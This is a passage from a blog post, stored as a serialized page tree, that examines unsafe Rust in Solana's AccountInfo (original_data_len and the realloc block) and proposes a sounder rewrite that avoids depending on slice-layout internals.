function",{"type":28,"value":277},{"type":23,"tag":202,"props":17365,"children":17367},{"className":206,"code":17366,"language":205,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[17368],{"type":23,"tag":209,"props":17369,"children":17370},{"__ignoreMap":7},[17371,17379,17387,17394,17402,17409,17417,17425,17473,17538,17604,17625],{"type":23,"tag":213,"props":17372,"children":17373},{"class":215,"line":216},[17374],{"type":23,"tag":213,"props":17375,"children":17376},{"style":537},[17377],{"type":28,"value":17378},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":213,"props":17380,"children":17381},{"class":215,"line":226},[17382],{"type":23,"tag":213,"props":17383,"children":17384},{"style":537},[17385],{"type":28,"value":17386},"/// current program invocation.\n",{"type":23,"tag":213,"props":17388,"children":17389},{"class":215,"line":524},[17390],{"type":23,"tag":213,"props":17391,"children":17392},{"style":537},[17393],{"type":28,"value":733},{"type":23,"tag":213,"props":17395,"children":17396},{"class":215,"line":533},[17397],{"type":23,"tag":213,"props":17398,"children":17399},{"style":537},[17400],{"type":28,"value":17401},"/// # Safety\n",{"type":23,"tag":213,"props":17403,"children":17404},{"class":215,"line":543},[17405],{"type":23,"tag":213,"props":17406,"children":17407},{"style":537},[17408],{"type":28,"value":733},{"type":23,"tag":213,"props":17410,"children":17411},{"class":215,"line":551},[17412],{"type":23,"tag":213,"props":17413,"children":17414},{"style":537},[17415],{"type":28,"value":17416},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":213,"props":17418,"children":17419},{"class":215,"line":570},[17420],{"type":23,"tag":213,"props":17421,"children":17422},{"style":537},[17423],{"type":28,"value":17424},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":213,"props":17426,"children":17427},{"class":215,"line":655},[17428,17432,17436,17440,17445,17449,17453,17457,17461,17465,17469],{"type":23,"tag":213,"props":17429,"children":17430},{"style":230},[17431],{"type":28,"value":233},{"type":23,"tag":213,"props":17433,"children":17434},{"style":230},[17435],{"type":28,"value":238},{"type":23,"tag":213,"props":17437,"children":17438},{"style":230},[17439],{"type":28,"value":254},{"type":23,"tag":213,"props":17441,"children":17442},{"style":257},[17443],{"type":28,"value":17444}," original_data_len",{"type":23,"tag":213,"props":17446,"children":17447},{"style":220},[17448],{"type":28,"value":265},{"type":23,"tag":213,"props":17450,"children":17451},{"style":274},[17452],{"type":28,"value":405},{"type":23,"tag":213,"props":17454,"children":17455},{"style":230},[17456],{"type":28,"value":13791},{"type":23,"tag":213,"props":17458,"children":17459},{"style":220},[17460],{"type":28,"value":298},{"type":23,"tag":213,"props":17462,"children":17463},{"style":274},[17464],{"type":28,"value":303},{"type":23,"tag":213,"props":17466,"children":17467},{"style":290},[17468],{"type":28,"value":506},{"type":23,"tag":213,"props":17470,"children":17471},{"style":220},[17472],{"type":28,"value":1375},{"type":23,"tag":213,"props":17474,"children":17475},{"class":215,"line":1176},[17476,17480,17485,17489,17493,17497,17502,17506,17510,17514,17518,17522,17526,17530,17534],{"type":23,"tag":213,"props":17477,"children":17478},{"style":230},[17479],{"type":28,"value":487},{"type":23,"tag":213,"props":17481,"children":17482},{"style":268},[17483],{"type":28,"value":17484}," key_ptr",{"type":23,"tag":213,"props":17486,"children":17487},{"style":274},[17488],{"type":28,"value":511},{"type":23,"tag":213,"props":17490,"children":17491},{"style":230},[17492],{"type":28,"value":13873},{"type":23,"tag":213,"props":17494,"children":17495},{"style":274},[17496],{"type":28,"value":124},{"type":23,"tag":213,"props":17498,"children":17499},{"style":220},[17500],{"type":28,"value":17501},"key ",{"type":23,"tag":213,"props":17503,"children":17504},{"style":230},[17505],{"type":28,"value":623},{"type":23,"tag":213,"props":17507,"children":17508},{"style":274},[17509],{"type":28,"value":282},{"type":23,"tag":213,"props":17511,"children":17512},{"style":230},[17513],{"type":28,"value":632},{"type":23,"tag":213,"props":17515,"children":17516},{"style":268},[17517],{"type":28,"value":3136},{"type":23,"tag":213,"props":17519,"children":17520},{"style":230},[17521],{"type":28,"value":8913},{"type":23,"tag":213,"props":17523,"children":17524},{"style":274},[17525],{"type":28,"value":282},{"type":23,"tag":213,"props":17527,"children":17528},{"style":230},[17529],{"type":28,"value":632},{"type":23,"tag":213,"props":17531,"children":17532},{"style":290},[17533],{"type":28,"value":293},{"type":23,"tag":213,"props":17535,"children":17536},{"style":220},[17537],{"type":28,"value":313},{"type":23,"tag":213,"props":17539,"children":17540},{"class":215,"line":1202},[17541,17545,17550,17554,17558,17562,17566,17570,17574,17579,17583,17587,17591,17595,17600],{"type":23,"tag":213,"props":17542,"children":17543},{"style":230},[17544],{"type":28,"value":487},{"type":23,"tag":213,"props":17546,"children":17547},{"style":268},[17548],{"type":28,"value":17549}," original_data_len_ptr",{"type":23,"tag":213,"props":17551,"children":17552},{"style":274},[17553],{"type":28,"value":511},{"type":23,"tag":213,"props":17555,"children":17556},{"style":268},[17557],{"type":28,"value":17484},{"type":23,"tag":213,"props":17559,"children":17560},{"style":274},[17561],{"type":28,"value":124},{"type":23,"tag":213,"props":17563,"children":17564},{"style":257},[17565],{"type":28,"value":614},{"type":23,"tag":213,"props":17567,"children":17568},{"style":220},[17569],{"type":28,"value":265},{"type":23,"tag":213,"props":17571,"children":17572},{"style":274},[17573],{"type":28,"value":4423},{"type":23,"tag":213,"props":17575,"children":17576},{"style":514},[17577],{"type":28,"value":17578},"4",{"type":23,"tag":213,"props":17580,"children":17581},{"style":220},[17582],{"type":28,"value":298},{"type":23,"tag":213,"props":17584,"children":17585},{"style":230},[17586],{"type":28,"value":623},{"type":23,"tag":213,"props":17588,"children":17589},{"style":274},[17590],{"type":28,"value":282},{"type":23,"tag":213,"props":17592,"children":17593},{"style":230},[17594],{"type":28,"value":632},{"type":23,"tag":213,"props":17596,"children":17597},{"style":290},[17598],{"type":28,"value":17599}," u32",{"type":23,"tag":213,"props":17601,"children":17602},{"style":220},[17603],{"type":28,"value":313},{"type":23,"tag":213,"props":17605,"children":17606},{"class":215,"line":1758},[17607,17612,17617,17621],{"type":23,"tag":213,"props":17608,"children":17609},{"style":274},[17610],{"type":28,"value":17611}," *",{"type":23,"tag":213,"props":17613,"children":17614},{"style":268},[17615],{"type":28,"value":17616},"original_data_len_ptr",{"type":23,"tag":213,"props":17618,"children":17619},{"style":230},[17620],{"type":28,"value":8913},{"type":23,"tag":213,"props":17622,"children":17623},{"style":290},[17624],{"type":28,"value":17025},{"type":23,"tag":213,"props":17626,"children":17627},{"class":215,"line":1767},[17628],{"type":23,"tag":213,"props":17629,"children":17630},{"style":220},[17631],{"type":28,"value":1208},{"type":23,"tag":24,"props":17633,"children":17634},{},[17635,17637,17642,17644,17649,17651,17656,17658,17663,17665,17672,17674,17681,17682,17689,17690,17697,17698,17705],{"type":28,"value":17636},"It's marked ",{"type":23,"tag":209,"props":17638,"children":17640},{"className":17639},[],[17641],{"type":28,"value":14430},{"type":28,"value":17643},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":209,"props":17645,"children":17647},{"className":17646},[],[17648],{"type":28,"value":13718},{"type":28,"value":17650},", which originally was not ",{"type":23,"tag":209,"props":17652,"children":17654},{"className":17653},[],[17655],{"type":28,"value":14430},{"type":28,"value":17657},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":209,"props":17659,"children":17661},{"className":17660},[],[17662],{"type":28,"value":14430},{"type":28,"value":17664}," block and added ",{"type":23,"tag":36,"props":17666,"children":17669},{"href":17667,"rel":17668},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[40],[17670],{"type":28,"value":17671},"a doc comment",{"type":28,"value":17673}," - adding to the ",{"type":23,"tag":36,"props":17675,"children":17678},{"href":17676,"rel":17677},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[40],[17679],{"type":28,"value":17680},"small",{"type":28,"value":6550},{"type":23,"tag":36,"props":17683,"children":17686},{"href":17684,"rel":17685},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[40],[17687],{"type":28,"value":17688},"pile",{"type":28,"value":6550},{"type":23,"tag":36,"props":17691,"children":17694},{"href":17692,"rel":17693},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[40],[17695],{"type":28,"value":17696},"of",{"type":28,"value":6550},{"type":23,"tag":36,"props":17699,"children":17702},{"href":17700,"rel":17701},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[40],[17703],{"type":28,"value":17704},"functions",{"type":28,"value":17706}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":47,"props":17708,"children":17710},{"id":17709},"towards-safer-unsafe",[17711,17713],{"type":28,"value":17712},"Towards safer ",{"type":23,"tag":209,"props":17714,"children":17716},{"className":17715},[],[17717],{"type":28,"value":14430},{"type":23,"tag":24,"props":17719,"children":17720},{},[17721,17723,17728,17730,17735,17737,17744],{"type":28,"value":17722},"Let's circle back to that main ",{"type":23,"tag":209,"props":17724,"children":17726},{"className":17725},[],[17727],{"type":28,"value":14430},{"type":28,"value":17729}," block inside ",{"type":23,"tag":209,"props":17731,"children":17733},{"className":17732},[],[17734],{"type":28,"value":13718},{"type":28,"value":17736}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":36,"props":17738,"children":17741},{"href":17739,"rel":17740},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[40],[17742],{"type":28,"value":17743},"this",{"type":28,"value":277},{"type":23,"tag":202,"props":17746,"children":17748},{"className":206,"code":17747,"language":205,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[17749],{"type":23,"tag":209,"props":17750,"children":17751},{"__ignoreMap":7},[17752,17760,17771,17779,17866,17897,17904,17912,18039,18070],{"type":23,"tag":213,"props":17753,"children":17754},{"class":215,"line":216},[17755],{"type":23,"tag":213,"props":17756,"children":17757},{"style":537},[17758],{"type":28,"value":17759},"// realloc\n",{"type":23,"tag":213,"props":17761,"children":17762},{"class":215,"line":226},[17763,17767],{"type":23,"tag":213,"props":17764,"children":17765},{"style":230},[17766],{"type":28,"value":14430},{"type":23,"tag":213,"props":17768,"children":17769},{"style":220},[17770],{"type":28,"value":1375},{"type":23,"tag":213,"props":17772,"children":17773},{"class":215,"line":524},[17774],{"type":23,"tag":213,"props":17775,"children":17776},{"style":537},[17777],{"type":28,"value":17778}," // First set new length in the serialized data\n",{"type":23,"tag":213,"props":17780,"children":17781},{"class":215,"line":533},[17782,17786,17790,17794,17798,17802,17806,17810,17814,17818,17822,17826,17830,17834,17838,17842,17846,17850,17854,17858,17862],{"type":23,"tag":213,"props":17783,"children":17784},{"style":230},[17785],{"type":28,"value":487},{"type":23,"tag":213,"props":17787,"children":17788},{"style":268},[17789],{"type":28,"value":13933},{"type":23,"tag":213,"props":17791,"children":17792},{"style":274},[17793],{"type":28,"value":511},{"type":23,"tag":213,"props":17795,"children":17796},{"style":230},[17797],{"type":28,"value":13873},{"type":23,"tag":213,"props":17799,"children":17800},{"style":274},[17801],{"type":28,"value":124},{"type":23,"tag":213,"props":17803,"children":17804},{"style":257},[17805],{"type":28,"value":13950},{"type":23,"tag":213,"props":17807,"children":17808},{"style":220},[17809],{"type":28,"value":13955},{"type":23,"tag":213,"props":17811,"children":17812},{"style":274},[17813],{"type":28,"value":3230},{"type":23,"tag":213,"props":17815,"children":17816},{"style":257},[17817],{"type":28,"value":13964},{"type":23,"tag":213,"props":17819,"children":17820},{"style":220},[17821],{"type":28,"value":13955},{"type":23,"tag":213,"props":17823,"children":17824},{"style":274},[17825],{"type":28,"value":124},{"type":23,"tag":213,"props":17827,"children":17828},{"style":257},[17829],{"type":28,"value":614},{"type":23,"tag":213,"props":17831,"children":17832},{"style":220},[17833],{"type":28,"value":265},{"type":23,"tag":213,"props":17835,"children":17836},{"style":274},[17837],{"type":28,"value":4423},{"type":23,"tag":213,"props":17839,"children":17840},{"style":514},[17841],{"type":28,"value":4170},{"type":23,"tag":213,"props":17843,"children":17844},{"style":220},[17845],{"type":28,"value":298},{"type":23,"tag":213,"props":17847,"children":17848},{"style":230},[17849],{"type":28,"value":623},{"type":23,"tag":213,"props":17851,"children":17852},{"style":274},[17853],{"type":28,"value":282},{"type":23,"tag":213,"props":17855,"children":17856},{"style":230},[17857],{"type":28,"value":287},{"type":23,"tag":213,"props":17859,"children":17860},{"style":290},[17861],{"type":28,"value":308},{"type":23,"tag":213,"props":17863,"children":17864},{"style":220},[17865],{"type":28,"value":313},{"type":23,"tag":213,"props":17867,"children":17868},{"class":215,"line":543},[17869,17873,17877,17881,17885,17889,17893],{"type":23,"tag":213,"props":17870,"children":17871},{"style":274},[17872],{"type":28,"value":17611},{"type":23,"tag":213,"props":17874,"children":17875},{"style":268},[17876],{"type":28,"value":14024},{"type":23,"tag":213,"props":17878,"children":17879},{"style":274},[17880],{"type":28,"value":511},{"type":23,"tag":213,"props":17882,"children":17883},{"style":268},[17884],{"type":28,"value":14033},{"type":23,"tag":213,"props":17886,"children":17887},{"style":230},[17888],{"type":28,"value":8913},{"type":23,"tag":213,"props":17890,"children":17891},{"style":290},[17892],{"type":28,"value":308},{"type":23,"tag":213,"props":17894,"children":17895},{"style":220},[17896],{"type":28,"value":313},{"type":23,"tag":213,"props":17898,"children":17899},{"class":215,"line":551},[17900],{"type":23,"tag":213,"props":17901,"children":17902},{"emptyLinePlaceholder":18},[17903],{"type":28,"value":530},{"type":23,"tag":213,"props":17905,"children":17906},{"class":215,"line":570},[17907],{"type":23,"tag":213,"props":17908,"children":17909},{"style":537},[17910],{"type":28,"value":17911}," // Then set the new length in the local slice\n",{"type":23,"tag":213,"props":17913,"children":17914},{"class":215,"line":655},[17915,17919,17923,17927,17931,17935,17939,17943,17947,17951,17955,17959,17963,17967,17971,17975,17979,17983,17987,17991,17995,17999,18003,18007,18011,18015,18019,18023,18027,18031,18035],{"type":23,"tag":213,"props":17916,"children":17917},{"style":230},[17918],{"type":28,"value":487},{"type":23,"tag":213,"props":17920,"children":17921},{"style":268},[17922],{"type":28,"value":13933},{"type":23,"tag":213,"props":17924,"children":17925},{"style":274},[17926],{"type":28,"value":511},{"type":23,"tag":213,"props":17928,"children":17929},{"style":274},[17930],{"type":28,"value":927},{"type":23,"tag":213,"props":17932,"children":17933},{"style":230},[17934],{"type":28,"value":287},{"type":23,"tag":213,"props":17936,"children":17937},{"style":274},[17938],{"type":28,"value":282},{"type":23,"tag":213,"props":17940,"children":17941},{"style":220},[17942],{"type":28,"value":14092},{"type":23,"tag":213,"props":17944,"children":17945},{"style":230},[17946],{"type":28,"value":13791},{"type":23,"tag":213,"props":17948,"children":17949},{"style":274},[17950],{"type":28,"value":124},{"type":23,"tag":213,"props":17952,"children":17953},{"style":220},[17954],{"type":28,"value":3791},{"type":23,"tag":213,"props":17956,"children":17957},{"style":274},[17958],{"type":28,"value":124},{"type":23,"tag":213,"props":17960,"children":17961},{"style":257},[17962],{"type":28,"value":14113},{"type":23,"tag":213,"props":17964,"children":17965},{"style":220},[17966],{"type":28,"value":2698},{"type":23,"tag":213,"props":17968,"children":17969},{"style":230},[17970],{"type":28,"value":623},{"type":23,"tag":213,"props":17972,"children":17973},{"style":274},[17974],{"type":28,"value":282},{"type":23,"tag":213,"props":17976,"children":17977},{"style":230},[17978],{"type":28,"value":632},{"type":23,"tag":213,"props":17980,"children":17981},{"style":290},[17982],{"type":28,"value":308},{"type":23,"tag":213,"props":17984,"children":17985},{"style":220},[17986],{"type":28,"value":2121},{"type":23,"tag":213,"props":17988,"children":17989},{"style":274},[17990],{"type":28,"value":124},{"type":23,"tag":213,"props":17992,"children":17993},{"style":257},[17994],{"type":28,"value":614},{"type":23,"tag":213,"props":17996,"children":17997},{"style":220},[17998],{"type":28,"value":265},{"type":23,"tag":213,"props":18000,"children":18001},{"style":514},[18002],{"type":28,"value":4106},{"type":23,"tag":213,"props":18004,"children":18005},{"style":220},[18006],{"type":28,"value":298},{"type":23,"tag":213,"props":18008,"children":18009},{"style":230},[18010],{"type":28,"value":623},{"type":23,"tag":213,"props":18012,"children":18013},{"style":290},[18014],{"type":28,"value":308},{"type":23,"tag":213,"props":18016,"children":18017},{"style":220},[18018],{"type":28,"value":298},{"type":23,"tag":213,"props":18020,"children":18021},{"style":230},[18022],{"type":28,"value":623},{"type":23,"tag":213,"props":18024,"children":18025},{"style":274},[18026],{"type":28,"value":282},{"type":23,"tag":213,"props":18028,"children":18029},{"style":230},[18030],{"type":28,"value":287},{"type":23,"tag":213,"props":18032,"children":18033},{"style":290},[18034],{"type":28,"value":308},{"type":23,"tag":213,"props":18036,"children":18037},{"style":220},[18038],{"type":28,"value":2867},{"type":23,"tag":213,"props":18040,"children":18041},{"class":215,"line":1176},[18042,18046,18050,18054,18058,18062,18066],{"type":23,"tag":213,"props":18043,"children":18044},{"style":274},[18045],{"type":28,"value":17611},{"type":23,"tag":213,"props":18047,"children":18048},{"style":268},[18049],{"type":28,"value":14024},{"type":23,"tag":213,"props":18051,"children":18052},{"style":274},[18053],{"type":28,"value":511},{"type":23,"tag":213,"props":18055,"children":18056},{"style":268},[18057],{"type":28,"value":14033},{"type":23,"tag":213,"props":18059,"children":18060},{"style":230},[18061],{"type":28,"value":8913},{"type":23,"tag":213,"props":18063,"children":18064},{"style":290},[18065],{"type":28,"value":308},{"type":23,"tag":213,"props":18067,"children":18068},{"style":220},[18069],{"type":28,"value":313},{"type":23,"tag":213,"props":18071,"children":18072},{"class":215,"line":1202},[18073],{"type":23,"tag":213,"props":18074,"children":18075},{"style":220},[18076],{"type":28,"value":1208},{"type":23,"tag":24,"props":18078,"children":18079},{},[18080,18082,18087],{"type":28,"value":18081},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":209,"props":18083,"children":18085},{"className":18084},[],[18086],{"type":28,"value":1023},{"type":28,"value":18088}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":18090,"children":18091},{},[18092,18094,18099,18101,18106,18108,18113,18115,18120,18122,18127,18129,18135,18137,18147,18149,18160],{"type":28,"value":18093},"First, let's deal with the ",{"type":23,"tag":209,"props":18095,"children":18097},{"className":18096},[],[18098],{"type":28,"value":1023},{"type":28,"value":18100}," borrowing issue. When we ",{"type":23,"tag":209,"props":18102,"children":18104},{"className":18103},[],[18105],{"type":28,"value":13950},{"type":28,"value":18107},", we get a ",{"type":23,"tag":209,"props":18109,"children":18111},{"className":18110},[],[18112],{"type":28,"value":16792},{"type":28,"value":18114}," back, which represents our borrow of the ",{"type":23,"tag":209,"props":18116,"children":18118},{"className":18117},[],[18119],{"type":28,"value":1023},{"type":28,"value":18121},"'s data. The fix here is simple: keep that ",{"type":23,"tag":209,"props":18123,"children":18125},{"className":18124},[],[18126],{"type":28,"value":16792},{"type":28,"value":18128}," around and use it to access the data, instead of using ",{"type":23,"tag":209,"props":18130,"children":18132},{"className":18131},[],[18133],{"type":28,"value":18134},"RefCell::as_ptr",{"type":28,"value":18136},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":15533,"props":18138,"children":18139},{},[18140],{"type":23,"tag":36,"props":18141,"children":18145},{"href":18142,"ariaDescribedBy":18143,"dataFootnoteRef":7,"id":18144},"#user-content-fn-rustc-llvm",[15540],"user-content-fnref-rustc-llvm",[18146],{"type":28,"value":17578},{"type":28,"value":18148}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":15533,"props":18150,"children":18151},{},[18152],{"type":23,"tag":36,"props":18153,"children":18157},{"href":18154,"ariaDescribedBy":18155,"dataFootnoteRef":7,"id":18156},"#user-content-fn-godbolt",[15540],"user-content-fnref-godbolt",[18158],{"type":28,"value":18159},"5",{"type":28,"value":18161},". So then we get:",{"type":23,"tag":202,"props":18163,"children":18165},{"className":206,"code":18164,"language":205,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[18166],{"type":23,"tag":209,"props":18167,"children":18168},{"__ignoreMap":7},[18169,18213,18220,18227,18311,18351,18358,18365],{"type":23,"tag":213,"props":18170,"children":18171},{"class":215,"line":216},[18172,18176,18180,18185,18189,18193,18197,18201,18205,18209],{"type":23,"tag":213,"props":18173,"children":18174},{"style":230},[18175],{"type":28,"value":11871},{"type":23,"tag":213,"props":18177,"children":18178},{"style":230},[18179],{"type":28,"value":492},{"type":23,"tag":213,"props":18181,"children":18182},{"style":268},[18183],{"type":28,"value":18184}," slice",{"type":23,"tag":213,"props":18186,"children":18187},{"style":274},[18188],{"type":28,"value":511},{"type":23,"tag":213,"props":18190,"children":18191},{"style":230},[18192],{"type":28,"value":13873},{"type":23,"tag":213,"props":18194,"children":18195},{"style":274},[18196],{"type":28,"value":124},{"type":23,"tag":213,"props":18198,"children":18199},{"style":257},[18200],{"type":28,"value":13950},{"type":23,"tag":213,"props":18202,"children":18203},{"style":220},[18204],{"type":28,"value":13955},{"type":23,"tag":213,"props":18206,"children":18207},{"style":274},[18208],{"type":28,"value":2126},{"type":23,"tag":213,"props":18210,"children":18211},{"style":220},[18212],{"type":28,"value":313},{"type":23,"tag":213,"props":18214,"children":18215},{"class":215,"line":226},[18216],{"type":23,"tag":213,"props":18217,"children":18218},{"emptyLinePlaceholder":18},[18219],{"type":28,"value":530},{"type":23,"tag":213,"props":18221,"children":18222},{"class":215,"line":524},[18223],{"type":23,"tag":213,"props":18224,"children":18225},{"style":537},[18226],{"type":28,"value":14477},{"type":23,"tag":213,"props":18228,"children":18229},{"class":215,"line":533},[18230,18234,18238,18242,18246,18250,18254,18258,18262,18266,18270,18274,18278,18282,18286,18291,18295,18299,18303,18307],{"type":23,"tag":213,"props":18231,"children":18232},{"style":230},[18233],{"type":28,"value":11871},{"type":23,"tag":213,"props":18235,"children":18236},{"style":268},[18237],{"type":28,"value":13933},{"type":23,"tag":213,"props":18239,"children":18240},{"style":274},[18241],{"type":28,"value":511},{"type":23,"tag":213,"props":18243,"children":18244},{"style":230},[18245],{"type":28,"value":238},{"type":23,"tag":213,"props":18247,"children":18248},{"style":220},[18249],{"type":28,"value":2572},{"type":23,"tag":213,"props":18251,"children":18252},{"style":268},[18253],{"type":28,"value":15372},{"type":23,"tag":213,"props":18255,"children":18256},{"style":274},[18257],{"type":28,"value":124},{"type":23,"tag":213,"props":18259,"children":18260},{"style":257},[18261],{"type":28,"value":13964},{"type":23,"tag":213,"props":18263,"children":18264},{"style":220},[18265],{"type":28,"value":13955},{"type":23,"tag":213,"props":18267,"children":18268},{"style":274},[18269],{"type":28,"value":124},{"type":23,"tag":213,"props":18271,"children":18272},{"style":257},[18273],{"type":28,"value":614},{"type":23,"tag":213,"props":18275,"children":18276},{"style":220},[18277],{"type":28,"value":265},{"type":23,"tag":213,"props":18279,"children":18280},{"style":274},[18281],{"type":28,"value":4423},{"type":23,"tag":213,"props":18283,"children":18284},{"style":514},[18285],{"type":28,"value":4170},{"type":23,"tag":213,"props":18287,"children":18288},{"style":220},[18289],{"type":28,"value":18290},") } ",{"type":23,"tag":213,"props":18292,"children":18293},{"style":230},[18294],{"type":28,"value":623},{"type":23,"tag":213,"props":18296,"children":18297},{"style":274},[18298],{"type":28,"value":282},{"type":23,"tag":213,"props":18300,"children":18301},{"style":230},[18302],{"type":28,"value":287},{"type":23,"tag":213,"props":18304,"children":18305},{"style":290},[18306],{"type":28,"value":308},{"type":23,"tag":213,"props":18308,"children":18309},{"style":220},[18310],{"type":28,"value":313},{"type":23,"tag":213,"props":18312,"children":18313},{"class":215,"line":543},[18314,18318,18322,18326,18330,18334,18338,18342,18346],{"type":23,"tag":213,"props":18315,"children":18316},{"style":230},[18317],{"type":28,"value":14430},{"type":23,"tag":213,"props":18319,"children":18320},{"style":220},[18321],{"type":28,"value":2572},{"type":23,"tag":213,"props":18323,"children":18324},{"style":274},[18325],{"type":28,"value":1696},{"type":23,"tag":213,"props":18327,"children":18328},{"style":268},[18329],{"type":28,"value":14024},{"type":23,"tag":213,"props":18331,"children":18332},{"style":274},[18333],{"type":28,"value":511},{"type":23,"tag":213,"props":18335,"children":18336},{"style":268},[18337],{"type":28,"value":14033},{"type":23,"tag":213,"props":18339,"children":18340},{"style":230},[18341],{"type":28,"value":8913},{"type":23,"tag":213,"props":18343,"children":18344},{"style":290},[18345],{"type":28,"value":308},{"type":23,"tag":213,"props":18347,"children":18348},{"style":220},[18349],{"type":28,"value":18350}," };\n",{"type":23,"tag":213,"props":18352,"children":18353},{"class":215,"line":551},[18354],{"type":23,"tag":213,"props":18355,"children":18356},{"emptyLinePlaceholder":18},[18357],{"type":28,"value":530},{"type":23,"tag":213,"props":18359,"children":18360},{"class":215,"line":570},[18361],{"type":23,"tag":213,"props":18362,"children":18363},{"style":537},[18364],{"type":28,"value":16191},{"type":23,"tag":213,"props":18366,"children":18367},{"class":215,"line":655},[18368,18372,18376,18380,18384,18389,18393,18397,18401,18406,18410,18414,18418,18422,18427,18431],{"type":23,"tag":213,"props":18369,"children":18370},{"style":274},[18371],{"type":28,"value":1696},{"type":23,"tag":213,"props":18373,"children":18374},{"style":268},[18375],{"type":28,"value":15372},{"type":23,"tag":213,"props":18377,"children":18378},{"style":274},[18379],{"type":28,"value":511},{"type":23,"tag":213,"props":18381,"children":18382},{"style":230},[18383],{"type":28,"value":238},{"type":23,"tag":213,"props":18385,"children":18386},{"style":220},[18387],{"type":28,"value":18388}," { std",{"type":23,"tag":213,"props":18390,"children":18391},{"style":274},[18392],{"type":28,"value":562},{"type":23,"tag":213,"props":18394,"children":18395},{"style":220},[18396],{"type":28,"value":15372},{"type":23,"tag":213,"props":18398,"children":18399},{"style":274},[18400],{"type":28,"value":562},{"type":23,"tag":213,"props":18402,"children":18403},{"style":257},[18404],{"type":28,"value":18405},"from_raw_parts_mut",{"type":23,"tag":213,"props":18407,"children":18408},{"style":220},[18409],{"type":28,"value":265},{"type":23,"tag":213,"props":18411,"children":18412},{"style":268},[18413],{"type":28,"value":15372},{"type":23,"tag":213,"props":18415,"children":18416},{"style":274},[18417],{"type":28,"value":124},{"type":23,"tag":213,"props":18419,"children":18420},{"style":257},[18421],{"type":28,"value":13964},{"type":23,"tag":213,"props":18423,"children":18424},{"style":220},[18425],{"type":28,"value":18426},"(), ",{"type":23,"tag":213,"props":18428,"children":18429},{"style":268},[18430],{"type":28,"value":13800},{"type":23,"tag":213,"props":18432,"children":18433},{"style":220},[18434],{"type":28,"value":14811},{"type":23,"tag":24,"props":18436,"children":18437},{},[18438,18440,18445,18447,18452,18454,18459,18461],{"type":28,"value":18439},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":209,"props":18441,"children":18443},{"className":18442},[],[18444],{"type":28,"value":684},{"type":28,"value":18446}," and not a ",{"type":23,"tag":209,"props":18448,"children":18450},{"className":18449},[],[18451],{"type":28,"value":16653},{"type":28,"value":18453}," for the size field, given that ",{"type":23,"tag":209,"props":18455,"children":18457},{"className":18456},[],[18458],{"type":28,"value":16653},{"type":28,"value":18460}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":15533,"props":18462,"children":18463},{},[18464],{"type":23,"tag":36,"props":18465,"children":18469},{"href":18466,"ariaDescribedBy":18467,"dataFootnoteRef":7,"id":18468},"#user-content-fn-slice-unbound-lifetime",[15540],"user-content-fnref-slice-unbound-lifetime",[18470],{"type":28,"value":18471},"6",{"type":23,"tag":18473,"props":18474,"children":18477},"section",{"className":18475,"dataFootnotes":7},[18476],"footnotes",[18478,18485],{"type":23,"tag":47,"props":18479,"children":18482},{"className":18480,"id":15540},[18481],"sr-only",[18483],{"type":28,"value":18484},"Footnotes",{"type":23,"tag":131,"props":18486,"children":18487},{},[18488,18593,18611,18666,18679,18707],{"type":23,"tag":135,"props":18489,"children":18491},{"id":18490},"user-content-fn-rc-refs",[18492,18494,18500,18502,18507,18509,18513,18515,18519,18521,18526,18528,18534,18536,18541,18543,18553,18555,18560,18562,18567,18569,18574,18576,18582,18584],{"type":28,"value":18493},"I find it helpful to view owning an ",{"type":23,"tag":209,"props":18495,"children":18497},{"className":18496},[],[18498],{"type":28,"value":18499},"Rc\u003CT>",{"type":28,"value":18501}," as holding a shared reference to the underlying ",{"type":23,"tag":209,"props":18503,"children":18505},{"className":18504},[],[18506],{"type":28,"value":6079},{"type":28,"value":18508}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":87,"props":18510,"children":18511},{},[18512],{"type":28,"value":16509},{"type":28,"value":18514}," ensures that the actual 